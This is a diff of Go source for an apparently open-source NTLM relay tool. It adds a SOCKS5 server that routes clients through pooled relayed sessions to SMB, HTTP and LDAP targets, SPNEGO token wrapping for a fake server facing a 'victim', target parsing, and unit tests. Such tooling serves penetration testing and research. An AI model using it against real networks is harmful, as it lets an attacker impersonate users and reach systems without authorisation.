|
||||
remote := c.RemoteAddr()
|
||||
switch kind {
|
||||
case upstreamKindHTTP:
|
||||
p := &HTTPPassthrough{
|
||||
Local: c,
|
||||
Target: target,
|
||||
Logger: s.logger,
|
||||
Resolve: s.rs.resolveHTTPUpstream(remote),
|
||||
}
|
||||
if err := p.Run(context.Background()); err != nil {
|
||||
s.logger.Debugf("socks: http passthrough %s: %v", c.RemoteAddr(), err)
|
||||
}
|
||||
case upstreamKindLDAP:
|
||||
p := &LDAPPassthrough{
|
||||
Local: c,
|
||||
Target: target,
|
||||
Logger: s.logger,
|
||||
Resolve: s.rs.resolveLDAPUpstream(remote),
|
||||
}
|
||||
if err := p.Run(context.Background()); err != nil {
|
||||
s.logger.Debugf("socks: ldap passthrough %s: %v", c.RemoteAddr(), err)
|
||||
}
|
||||
default:
|
||||
p := &SMBPassthrough{
|
||||
Local: c,
|
||||
Target: target,
|
||||
Logger: s.logger,
|
||||
Resolve: s.rs.resolveUpstream(remote),
|
||||
}
|
||||
if err := p.Run(context.Background()); err != nil {
|
||||
s.logger.Debugf("socks: smb passthrough %s: %v", c.RemoteAddr(), err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type upstreamKind int
|
||||
|
||||
const (
|
||||
upstreamKindSMB upstreamKind = iota
|
||||
upstreamKindHTTP
|
||||
upstreamKindLDAP
|
||||
)
|
||||
|
||||
func pickUpstreamKind(ps *pooledSession) upstreamKind {
|
||||
switch {
|
||||
case ps.IsLDAP():
|
||||
return upstreamKindLDAP
|
||||
case ps.IsHTTP():
|
||||
return upstreamKindHTTP
|
||||
}
|
||||
return upstreamKindSMB
|
||||
}
|
||||
|
||||
// socks5Handshake performs RFC 1928 method negotiation and request parsing.
|
||||
// Returns the requested target as "host:port" on success.
|
||||
func socks5Handshake(c net.Conn) (string, error) {
|
||||
// Method negotiation: VER NMETHODS METHODS...
|
||||
hdr := make([]byte, 2)
|
||||
if _, err := io.ReadFull(c, hdr); err != nil {
|
||||
return "", fmt.Errorf("read greeting: %w", err)
|
||||
}
|
||||
if hdr[0] != 0x05 {
|
||||
return "", fmt.Errorf("unsupported SOCKS version 0x%02x", hdr[0])
|
||||
}
|
||||
methods := make([]byte, hdr[1])
|
||||
if _, err := io.ReadFull(c, methods); err != nil {
|
||||
return "", fmt.Errorf("read methods: %w", err)
|
||||
}
|
||||
// We only support no-auth (0x00). Reject otherwise.
|
||||
noAuth := false
|
||||
for _, m := range methods {
|
||||
if m == 0x00 {
|
||||
noAuth = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !noAuth {
|
||||
_, _ = c.Write([]byte{0x05, 0xff})
|
||||
return "", fmt.Errorf("client did not offer no-auth method")
|
||||
}
|
||||
if _, err := c.Write([]byte{0x05, 0x00}); err != nil {
|
||||
return "", fmt.Errorf("write method selection: %w", err)
|
||||
}
|
||||
|
||||
// Request: VER CMD RSV ATYP DST.ADDR DST.PORT
|
||||
req := make([]byte, 4)
|
||||
if _, err := io.ReadFull(c, req); err != nil {
|
||||
return "", fmt.Errorf("read request: %w", err)
|
||||
}
|
||||
if req[0] != 0x05 {
|
||||
return "", fmt.Errorf("request bad ver 0x%02x", req[0])
|
||||
}
|
||||
if req[1] != socksCmdConnect {
|
||||
_ = writeSocksReply(c, socksReplyCmdNotSupported, c.LocalAddr())
|
||||
return "", fmt.Errorf("unsupported command 0x%02x", req[1])
|
||||
}
|
||||
|
||||
var host string
|
||||
switch req[3] {
|
||||
case socksAtypIPv4:
|
||||
buf := make([]byte, 4)
|
||||
if _, err := io.ReadFull(c, buf); err != nil {
|
||||
return "", err
|
||||
}
|
||||
host = net.IP(buf).String()
|
||||
case socksAtypIPv6:
|
||||
buf := make([]byte, 16)
|
||||
if _, err := io.ReadFull(c, buf); err != nil {
|
||||
return "", err
|
||||
}
|
||||
host = net.IP(buf).String()
|
||||
case socksAtypDomain:
|
||||
l := make([]byte, 1)
|
||||
if _, err := io.ReadFull(c, l); err != nil {
|
||||
return "", err
|
||||
}
|
||||
// l[0] is uint8 so naturally ≤255 (the SOCKS5 cap), but reject
|
||||
// a zero-length domain — it's never valid and would otherwise
|
||||
// produce a confusing "no pooled session for target :port" log.
|
||||
if l[0] == 0 {
|
||||
return "", fmt.Errorf("zero-length domain in SOCKS5 request")
|
||||
}
|
||||
buf := make([]byte, l[0])
|
||||
if _, err := io.ReadFull(c, buf); err != nil {
|
||||
return "", err
|
||||
}
|
||||
host = string(buf)
|
||||
default:
|
||||
_ = writeSocksReply(c, socksReplyAddrTypeNotSupported, c.LocalAddr())
|
||||
return "", fmt.Errorf("unsupported address type 0x%02x", req[3])
|
||||
}
|
||||
|
||||
portBytes := make([]byte, 2)
|
||||
if _, err := io.ReadFull(c, portBytes); err != nil {
|
||||
return "", err
|
||||
}
|
||||
port := binary.BigEndian.Uint16(portBytes)
|
||||
return net.JoinHostPort(host, strconv.Itoa(int(port))), nil
|
||||
}
|
||||
|
||||
// writeSocksReply writes a reply with BND.ADDR/PORT taken from bnd. The
|
||||
// reply format is VER REP RSV ATYP BND.ADDR BND.PORT.
|
||||
func writeSocksReply(c net.Conn, code byte, bnd net.Addr) error {
|
||||
host, portStr, err := net.SplitHostPort(addrString(bnd))
|
||||
if err != nil {
|
||||
host = "0.0.0.0"
|
||||
portStr = "0"
|
||||
}
|
||||
port, _ := strconv.Atoi(portStr)
|
||||
ip := net.ParseIP(host)
|
||||
|
||||
out := []byte{0x05, code, 0x00}
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
out = append(out, socksAtypIPv4)
|
||||
out = append(out, ip4...)
|
||||
} else if ip != nil {
|
||||
out = append(out, socksAtypIPv6)
|
||||
out = append(out, ip.To16()...)
|
||||
} else {
|
||||
out = append(out, socksAtypDomain)
|
||||
out = append(out, byte(len(host)))
|
||||
out = append(out, []byte(host)...)
|
||||
}
|
||||
out = binary.BigEndian.AppendUint16(out, uint16(port))
|
||||
_, err = c.Write(out)
|
||||
return err
|
||||
}
|
||||
|
||||
// addrString returns the canonical host:port form of a net.Addr, including
|
||||
// for the * unbound case.
|
||||
func addrString(a net.Addr) string {
|
||||
if a == nil {
|
||||
return "0.0.0.0:0"
|
||||
}
|
||||
s := a.String()
|
||||
if !strings.Contains(s, ":") {
|
||||
return s + ":0"
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,288 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"net"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TestSocks5HandshakeDomain exercises socks5Handshake against a synthetic
|
||||
// SOCKS5 client request using the domain ATYP. We pipe both sides through
|
||||
// net.Pipe to avoid touching the network.
|
||||
func TestSocks5HandshakeDomain(t *testing.T) {
|
||||
server, client := net.Pipe()
|
||||
defer server.Close()
|
||||
defer client.Close()
|
||||
|
||||
go func() {
|
||||
// Greeting: VER=5 NMETHODS=1 NoAuth.
|
||||
client.Write([]byte{0x05, 0x01, 0x00})
|
||||
// Read method selection.
|
||||
buf := make([]byte, 2)
|
||||
_, _ = client.Read(buf)
|
||||
// CONNECT example.com:445 by domain.
|
||||
host := "example.com"
|
||||
req := []byte{0x05, 0x01, 0x00, 0x03, byte(len(host))}
|
||||
req = append(req, []byte(host)...)
|
||||
req = append(req, 0x01, 0xbd) // 445
|
||||
client.Write(req)
|
||||
}()
|
||||
|
||||
// socks5Handshake reads from the server side of the pipe.
|
||||
target, err := socks5Handshake(server)
|
||||
if err != nil {
|
||||
t.Fatalf("handshake: %v", err)
|
||||
}
|
||||
want := "example.com:445"
|
||||
if target != want {
|
||||
t.Errorf("target=%q want %q", target, want)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSocks5HandshakeIPv4 covers the IPv4 ATYP path.
|
||||
func TestSocks5HandshakeIPv4(t *testing.T) {
|
||||
server, client := net.Pipe()
|
||||
defer server.Close()
|
||||
defer client.Close()
|
||||
|
||||
go func() {
|
||||
client.Write([]byte{0x05, 0x01, 0x00})
|
||||
buf := make([]byte, 2)
|
||||
_, _ = client.Read(buf)
|
||||
req := []byte{0x05, 0x01, 0x00, 0x01, 10, 1, 2, 3, 0x01, 0xbb} // 10.1.2.3:443
|
||||
client.Write(req)
|
||||
}()
|
||||
|
||||
target, err := socks5Handshake(server)
|
||||
if err != nil {
|
||||
t.Fatalf("handshake: %v", err)
|
||||
}
|
||||
if target != "10.1.2.3:443" {
|
||||
t.Errorf("target=%q want 10.1.2.3:443", target)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSocks5HandshakeRejectsNonNoAuth checks that a client that doesn't offer
|
||||
// no-auth gets a 0xff method-selection rejection.
|
||||
func TestSocks5HandshakeRejectsNonNoAuth(t *testing.T) {
|
||||
server, client := net.Pipe()
|
||||
defer server.Close()
|
||||
defer client.Close()
|
||||
|
||||
got := make(chan []byte, 1)
|
||||
go func() {
|
||||
// Offer only 0x02 (user/pass).
|
||||
client.Write([]byte{0x05, 0x01, 0x02})
|
||||
buf := make([]byte, 2)
|
||||
n, _ := client.Read(buf)
|
||||
got <- buf[:n]
|
||||
}()
|
||||
|
||||
_, err := socks5Handshake(server)
|
||||
if err == nil {
|
||||
t.Fatalf("handshake unexpectedly succeeded")
|
||||
}
|
||||
select {
|
||||
case b := <-got:
|
||||
if len(b) != 2 || b[0] != 0x05 || b[1] != 0xff {
|
||||
t.Errorf("expected [05 ff], got % x", b)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatalf("client did not see method-selection reply")
|
||||
}
|
||||
}
|
||||
|
||||
// TestPoolRoundRobin exercises the RoundRobin selector across two targets.
|
||||
func TestPoolRoundRobin(t *testing.T) {
|
||||
rr := RoundRobin()
|
||||
targets := []Target{
|
||||
{Protocol: ProtoSMB, Host: "a:1"},
|
||||
{Protocol: ProtoSMB, Host: "b:2"},
|
||||
}
|
||||
got := []string{}
|
||||
for i := 0; i < 4; i++ {
|
||||
got = append(got, rr(targets, nil, nil).Host)
|
||||
}
|
||||
want := []string{"a:1", "b:2", "a:1", "b:2"}
|
||||
for i := range got {
|
||||
if got[i] != want[i] {
|
||||
t.Errorf("rr[%d]=%q want %q", i, got[i], want[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseAuthUser exercises the user-spec parser used by FindMatches.
|
||||
func TestParseAuthUser(t *testing.T) {
|
||||
cases := []struct {
|
||||
in string
|
||||
domain, user string
|
||||
}{
|
||||
{"", "", ""},
|
||||
{"alice", "", "alice"},
|
||||
{"CONTOSO\\alice", "CONTOSO", "alice"},
|
||||
{"CONTOSO/alice", "CONTOSO", "alice"},
|
||||
{"alice@CONTOSO", "CONTOSO", "alice"},
|
||||
}
|
||||
for _, c := range cases {
|
||||
d, u := parseAuthUser(c.in)
|
||||
if d != c.domain || u != c.user {
|
||||
t.Errorf("parseAuthUser(%q) = (%q,%q), want (%q,%q)", c.in, d, u, c.domain, c.user)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestFindMatchesFilters validates target/user filtering, case-insensitivity,
|
||||
// and dead-entry exclusion.
|
||||
func TestFindMatchesFilters(t *testing.T) {
|
||||
sp := newSessionPool(0, 0)
|
||||
mk := func(target, user, domain string) *pooledSession {
|
||||
ps := &pooledSession{
|
||||
Target: target,
|
||||
Cred: &Credential{Username: user, Domain: domain},
|
||||
Established: time.Now(),
|
||||
}
|
||||
sp.Add(ps)
|
||||
return ps
|
||||
}
|
||||
a1 := mk("host:445", "alice", "CONTOSO")
|
||||
mk("host:445", "bob", "CONTOSO")
|
||||
mk("other:445", "alice", "CONTOSO")
|
||||
dead := mk("host:445", "alice", "CONTOSO")
|
||||
dead.MarkDead()
|
||||
|
||||
if got := len(sp.FindMatches("host:445", "")); got != 2 {
|
||||
t.Errorf("no user filter: got %d matches, want 2 (live alice + bob)", got)
|
||||
}
|
||||
if got := sp.FindMatches("host:445", "alice"); len(got) != 1 || got[0] != a1 {
|
||||
t.Errorf("user=alice: got %v, want [a1]", got)
|
||||
}
|
||||
if got := sp.FindMatches("host:445", "ALICE"); len(got) != 1 || got[0] != a1 {
|
||||
t.Errorf("case-insensitive: got %d matches", len(got))
|
||||
}
|
||||
if got := sp.FindMatches("host:445", "CONTOSO\\alice"); len(got) != 1 || got[0] != a1 {
|
||||
t.Errorf("domain\\\\user: got %v", got)
|
||||
}
|
||||
if got := sp.FindMatches("host:445", "alice@CONTOSO"); len(got) != 1 || got[0] != a1 {
|
||||
t.Errorf("UPN form: got %v", got)
|
||||
}
|
||||
if got := sp.FindMatches("host:445", "OTHER\\alice"); len(got) != 0 {
|
||||
t.Errorf("wrong domain: got %d matches, want 0", len(got))
|
||||
}
|
||||
if got := sp.FindMatches("host:445", "nobody"); len(got) != 0 {
|
||||
t.Errorf("unknown user: got %d matches, want 0", len(got))
|
||||
}
|
||||
}
|
||||
|
||||
// TestPoolFirstAvailable picks the first non-dead candidate.
|
||||
func TestPoolFirstAvailable(t *testing.T) {
|
||||
sel := PoolFirstAvailable()
|
||||
a := &pooledSession{Target: "x"}
|
||||
b := &pooledSession{Target: "x"}
|
||||
if got := sel([]*pooledSession{a, b}, nil); got != a {
|
||||
t.Errorf("expected first candidate, got %v", got)
|
||||
}
|
||||
a.MarkDead()
|
||||
if got := sel([]*pooledSession{a, b}, nil); got != b {
|
||||
t.Errorf("dead first: expected b, got %v", got)
|
||||
}
|
||||
b.MarkDead()
|
||||
if got := sel([]*pooledSession{a, b}, nil); got != nil {
|
||||
t.Errorf("all dead: expected nil")
|
||||
}
|
||||
}
|
||||
|
||||
// TestPoolSessionRoundRobin distributes selections across candidates and
|
||||
// skips dead. Named to disambiguate from the target-selector RoundRobin test.
|
||||
func TestPoolSessionRoundRobin(t *testing.T) {
|
||||
sel := PoolRoundRobin()
|
||||
a := &pooledSession{Target: "x"}
|
||||
b := &pooledSession{Target: "x"}
|
||||
picks := map[*pooledSession]int{}
|
||||
for i := 0; i < 6; i++ {
|
||||
picks[sel([]*pooledSession{a, b}, nil)]++
|
||||
}
|
||||
if picks[a] == 0 || picks[b] == 0 {
|
||||
t.Errorf("round-robin failed to spread: a=%d b=%d", picks[a], picks[b])
|
||||
}
|
||||
a.MarkDead()
|
||||
for i := 0; i < 4; i++ {
|
||||
if p := sel([]*pooledSession{a, b}, nil); p != b {
|
||||
t.Errorf("a dead: expected b, got %v", p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPoolMostRecent picks the candidate with the newest Established time.
|
||||
func TestPoolMostRecent(t *testing.T) {
|
||||
sel := PoolMostRecent()
|
||||
now := time.Now()
|
||||
old := &pooledSession{Target: "x", Established: now.Add(-time.Hour)}
|
||||
mid := &pooledSession{Target: "x", Established: now.Add(-time.Minute)}
|
||||
newest := &pooledSession{Target: "x", Established: now}
|
||||
if got := sel([]*pooledSession{old, mid, newest}, nil); got != newest {
|
||||
t.Errorf("most-recent: got %v want newest", got)
|
||||
}
|
||||
newest.MarkDead()
|
||||
if got := sel([]*pooledSession{old, mid, newest}, nil); got != mid {
|
||||
t.Errorf("newest dead: expected mid, got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResolveUpstreamSkipsDeadOnHealthCheck verifies the
|
||||
// HealthCheckOnSelect path: if the first chosen pool entry is dead, the
|
||||
// resolver retries against the remaining candidates. We don't run the actual
|
||||
// SMB Echo here — we pre-mark the first candidate dead, which simulates a
|
||||
// health-check failure outcome on the next iteration.
|
||||
func TestResolveUpstreamSkipsDeadOnHealthCheck(t *testing.T) {
|
||||
rs := &RelayServer{
|
||||
Config: ServerConfig{
|
||||
SelectPoolEntry: PoolFirstAvailable(),
|
||||
HealthCheckOnSelect: false, // health check off; rely on dead flag
|
||||
},
|
||||
}
|
||||
rs.pool = newSessionPool(0, 0)
|
||||
|
||||
a := &pooledSession{Target: "x:1", Cred: &Credential{Username: "u", Domain: "D"}, Established: time.Now()}
|
||||
b := &pooledSession{Target: "x:1", Cred: &Credential{Username: "u", Domain: "D"}, Established: time.Now()}
|
||||
rs.pool.Add(a)
|
||||
rs.pool.Add(b)
|
||||
|
||||
resolver := rs.resolveUpstream(nil)
|
||||
if got := resolver("x:1", "D", "u"); got != a {
|
||||
t.Fatalf("initial pick: got %v want a", got)
|
||||
}
|
||||
a.MarkDead()
|
||||
if got := resolver("x:1", "D", "u"); got != b {
|
||||
t.Fatalf("after a marked dead: got %v want b", got)
|
||||
}
|
||||
b.MarkDead()
|
||||
if got := resolver("x:1", "D", "u"); got != nil {
|
||||
t.Fatalf("all dead: expected nil, got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPoolStickyByRemote ensures the same remote always lands on the same
|
||||
// target.
|
||||
func TestPoolStickyByRemote(t *testing.T) {
|
||||
s := StickyByRemote()
|
||||
targets := []Target{
|
||||
{Protocol: ProtoSMB, Host: "a:1"},
|
||||
{Protocol: ProtoSMB, Host: "b:2"},
|
||||
{Protocol: ProtoSMB, Host: "c:3"},
|
||||
}
|
||||
addrA := &net.TCPAddr{IP: net.ParseIP("10.0.0.1"), Port: 1234}
|
||||
addrB := &net.TCPAddr{IP: net.ParseIP("10.0.0.2"), Port: 5678}
|
||||
a1 := s(targets, addrA, nil)
|
||||
a2 := s(targets, addrA, nil)
|
||||
if a1 != a2 {
|
||||
t.Errorf("sticky returned different targets for same remote: %v vs %v", a1, a2)
|
||||
}
|
||||
b1 := s(targets, addrB, nil)
|
||||
if a1 == b1 {
|
||||
t.Logf("warning: different remotes hashed to same target %v (acceptable)", a1)
|
||||
}
|
||||
}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/jfjallid/gofork/encoding/asn1"
|
||||
|
||||
"github.com/jfjallid/go-smb/gss"
|
||||
"github.com/jfjallid/go-smb/smb/encoder"
|
||||
)
|
||||
|
||||
// unwrapNegInit peels the inner NTLMSSP token out of an inbound SPNEGO
|
||||
// NegTokenInit blob. Returns the inner MechToken and the parsed envelope (so
|
||||
// callers may inspect MechTypes / MechTokenMIC).
|
||||
func unwrapNegInit(blob []byte) (*gss.NegTokenInit, error) {
|
||||
if len(blob) == 0 || blob[0] != 0x60 {
|
||||
return nil, fmt.Errorf("not a NegTokenInit")
|
||||
}
|
||||
var init gss.NegTokenInit
|
||||
if err := encoder.Unmarshal(blob, &init); err != nil {
|
||||
return nil, fmt.Errorf("decode NegTokenInit: %w", err)
|
||||
}
|
||||
if len(init.Data.MechToken) == 0 {
|
||||
return nil, fmt.Errorf("NegTokenInit has empty MechToken")
|
||||
}
|
||||
return &init, nil
|
||||
}
|
||||
|
||||
// unwrapNegResp peels the inner NTLMSSP token out of an inbound SPNEGO
|
||||
// NegTokenResp blob. Returns the parsed response so callers may inspect
|
||||
// MechListMIC / State as well as the ResponseToken.
|
||||
func unwrapNegResp(blob []byte) (*gss.NegTokenResp, error) {
|
||||
if len(blob) == 0 || blob[0] != 0xa1 {
|
||||
return nil, fmt.Errorf("not a NegTokenResp")
|
||||
}
|
||||
var resp gss.NegTokenResp
|
||||
if err := encoder.Unmarshal(blob, &resp); err != nil {
|
||||
return nil, fmt.Errorf("decode NegTokenResp: %w", err)
|
||||
}
|
||||
if len(resp.ResponseToken) == 0 {
|
||||
return nil, fmt.Errorf("NegTokenResp has empty ResponseToken")
|
||||
}
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// wrapNegRespAcceptIncomplete wraps a raw NTLMSSP token (typically a CHALLENGE)
|
||||
// into a SPNEGO NegTokenResp with State=accept-incomplete, MechType=NTLMSSP.
|
||||
// Used by the SMB listener to hand a forwarder-supplied CHALLENGE back to the
|
||||
// inbound client.
|
||||
func wrapNegRespAcceptIncomplete(token []byte) ([]byte, error) {
|
||||
out := gss.NegTokenResp{
|
||||
State: asn1.Enumerated(gss.GssStateAcceptIncomplete),
|
||||
SupportedMech: gss.NtLmSSPMechTypeOid,
|
||||
ResponseToken: token,
|
||||
}
|
||||
return encoder.Marshal(&out)
|
||||
}
|
||||
|
||||
// wrapNegRespAuth wraps a raw NTLMSSP AUTHENTICATE token plus an optional
|
||||
// MechListMIC into a SPNEGO NegTokenResp. State is omitted (the SMB client
|
||||
// does not include a state on leg 2). Used by the SMB forwarder to re-wrap
|
||||
// leg-2 bytes for the upstream's SendSessionSetup2WithBlob.
|
||||
func wrapNegRespAuth(token, mic []byte) ([]byte, error) {
|
||||
out := gss.NegTokenResp{
|
||||
ResponseToken: token,
|
||||
MechListMIC: mic,
|
||||
}
|
||||
return encoder.Marshal(&out)
|
||||
}
|
||||
|
||||
// wrapNegRespAcceptCompleted produces a SPNEGO NegTokenResp with
|
||||
// State=accept-completed, no SupportedMech, no ResponseToken, and an
|
||||
// optional MechListMIC. Used by the fake-server handoff to answer the
|
||||
// victim's SessionSetup2 leg with a successful SPNEGO completion.
|
||||
func wrapNegRespAcceptCompleted(mic []byte) ([]byte, error) {
|
||||
out := gss.NegTokenResp{
|
||||
State: asn1.Enumerated(gss.GssStateAcceptCompleted),
|
||||
MechListMIC: mic,
|
||||
}
|
||||
return encoder.Marshal(&out)
|
||||
}
|
||||
+197
@@ -0,0 +1,197 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Protocol identifies the upstream wire protocol carried by a Target.
|
||||
type Protocol string
|
||||
|
||||
const (
|
||||
ProtoSMB Protocol = "smb"
|
||||
ProtoHTTP Protocol = "http"
|
||||
ProtoHTTPS Protocol = "https"
|
||||
ProtoLDAP Protocol = "ldap"
|
||||
ProtoLDAPS Protocol = "ldaps"
|
||||
)
|
||||
|
||||
// Target is a parsed upstream destination. Targets are configured via
|
||||
// scheme-prefixed strings (smb://, http://, https://) and dispatched to one of
|
||||
// the inbound listeners based on Protocol.
|
||||
type Target struct {
|
||||
Raw string
|
||||
Protocol Protocol
|
||||
Host string // canonical "host:port" — also the pool key
|
||||
TLS bool // https only
|
||||
Path string // http/https only; defaults to "/"
|
||||
}
|
||||
|
||||
// Key returns the pool key for this target — the canonical "host:port" string.
|
||||
// SMB and HTTP entries sharing a host:port share a pool key; IsHTTP() on
|
||||
// pooledSession discriminates retrieval.
|
||||
func (t Target) Key() string { return t.Host }
|
||||
|
||||
// IsHTTP reports whether the target speaks HTTP/HTTPS.
|
||||
func (t Target) IsHTTP() bool { return t.Protocol == ProtoHTTP || t.Protocol == ProtoHTTPS }
|
||||
|
||||
// IsLDAP reports whether the target speaks LDAP/LDAPS.
|
||||
func (t Target) IsLDAP() bool { return t.Protocol == ProtoLDAP || t.Protocol == ProtoLDAPS }
|
||||
|
||||
// String renders the target back to its canonical scheme-prefixed form.
|
||||
func (t Target) String() string {
|
||||
switch t.Protocol {
|
||||
case ProtoSMB:
|
||||
return "smb://" + t.Host
|
||||
case ProtoHTTP:
|
||||
return "http://" + t.Host + t.Path
|
||||
case ProtoHTTPS:
|
||||
return "https://" + t.Host + t.Path
|
||||
case ProtoLDAP:
|
||||
return "ldap://" + t.Host
|
||||
case ProtoLDAPS:
|
||||
return "ldaps://" + t.Host
|
||||
}
|
||||
return t.Raw
|
||||
}
|
||||
|
||||
// ParseTarget normalizes a configured target string into a Target. Accepted
|
||||
// forms:
|
||||
// - "smb://host[:port]" (port defaults to 445)
|
||||
// - "http://host[:port][/path]" (port defaults to 80, path defaults to "/")
|
||||
// - "https://host[:port][/path]" (port defaults to 443, path defaults to "/")
|
||||
// - "ldap://host[:port]" (port defaults to 389)
|
||||
// - "ldaps://host[:port]" (port defaults to 636, TLS)
|
||||
//
|
||||
// Bare "host:port" (no scheme) is rejected with a descriptive error pointing
|
||||
// callers at the scheme requirement.
|
||||
func ParseTarget(s string) (Target, error) {
|
||||
if s == "" {
|
||||
return Target{}, fmt.Errorf("empty target")
|
||||
}
|
||||
if !strings.Contains(s, "://") {
|
||||
return Target{}, fmt.Errorf("target %q requires scheme prefix (smb://, http://, or https://)", s)
|
||||
}
|
||||
u, err := url.Parse(s)
|
||||
if err != nil {
|
||||
return Target{}, fmt.Errorf("parse target %q: %w", s, err)
|
||||
}
|
||||
t := Target{Raw: s}
|
||||
switch strings.ToLower(u.Scheme) {
|
||||
case "smb":
|
||||
t.Protocol = ProtoSMB
|
||||
case "http":
|
||||
t.Protocol = ProtoHTTP
|
||||
case "https":
|
||||
t.Protocol = ProtoHTTPS
|
||||
t.TLS = true
|
||||
case "ldap":
|
||||
t.Protocol = ProtoLDAP
|
||||
case "ldaps":
|
||||
t.Protocol = ProtoLDAPS
|
||||
t.TLS = true
|
||||
default:
|
||||
return Target{}, fmt.Errorf("parse target %q: unsupported scheme %q", s, u.Scheme)
|
||||
}
|
||||
host := u.Host
|
||||
if host == "" {
|
||||
return Target{}, fmt.Errorf("parse target %q: empty host", s)
|
||||
}
|
||||
if _, portStr, err := net.SplitHostPort(host); err != nil {
|
||||
// No port — apply scheme default.
|
||||
switch t.Protocol {
|
||||
case ProtoSMB:
|
||||
host += ":445"
|
||||
case ProtoHTTP:
|
||||
host += ":80"
|
||||
case ProtoHTTPS:
|
||||
host += ":443"
|
||||
case ProtoLDAP:
|
||||
host += ":389"
|
||||
case ProtoLDAPS:
|
||||
host += ":636"
|
||||
}
|
||||
} else {
|
||||
// Reject 0 and out-of-range ports up front so a typo doesn't
|
||||
// surface as a confusing "connection refused" later.
|
||||
p, perr := strconv.Atoi(portStr)
|
||||
if perr != nil || p < 1 || p > 65535 {
|
||||
return Target{}, fmt.Errorf("parse target %q: invalid port %q (want 1-65535)", s, portStr)
|
||||
}
|
||||
}
|
||||
t.Host = host
|
||||
if t.IsHTTP() {
|
||||
t.Path = u.Path
|
||||
if t.Path == "" {
|
||||
t.Path = "/"
|
||||
}
|
||||
}
|
||||
return t, nil
|
||||
}
|
||||
|
||||
// ParseTargets parses every entry in raw, returning the slice on success or
|
||||
// the first parse error.
|
||||
func ParseTargets(raw []string) ([]Target, error) {
|
||||
out := make([]Target, 0, len(raw))
|
||||
for _, s := range raw {
|
||||
t, err := ParseTarget(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, t)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// filterTargets returns a new slice containing only the entries that pass
|
||||
// keep. Used by the listener wiring helpers to feed each listener's selector
|
||||
// only protocol-compatible candidates.
|
||||
func filterTargets(in []Target, keep func(Target) bool) []Target {
|
||||
out := make([]Target, 0, len(in))
|
||||
for _, t := range in {
|
||||
if keep(t) {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// smbAnyTargets returns the SMB-protocol targets parsed from cfg.
|
||||
func smbAnyTargets(parsed []Target) []Target {
|
||||
return filterTargets(parsed, func(t Target) bool { return t.Protocol == ProtoSMB })
|
||||
}
|
||||
|
||||
// httpTargets returns the HTTP/HTTPS targets parsed from cfg.
|
||||
func httpTargets(parsed []Target) []Target {
|
||||
return filterTargets(parsed, Target.IsHTTP)
|
||||
}
|
||||
|
||||
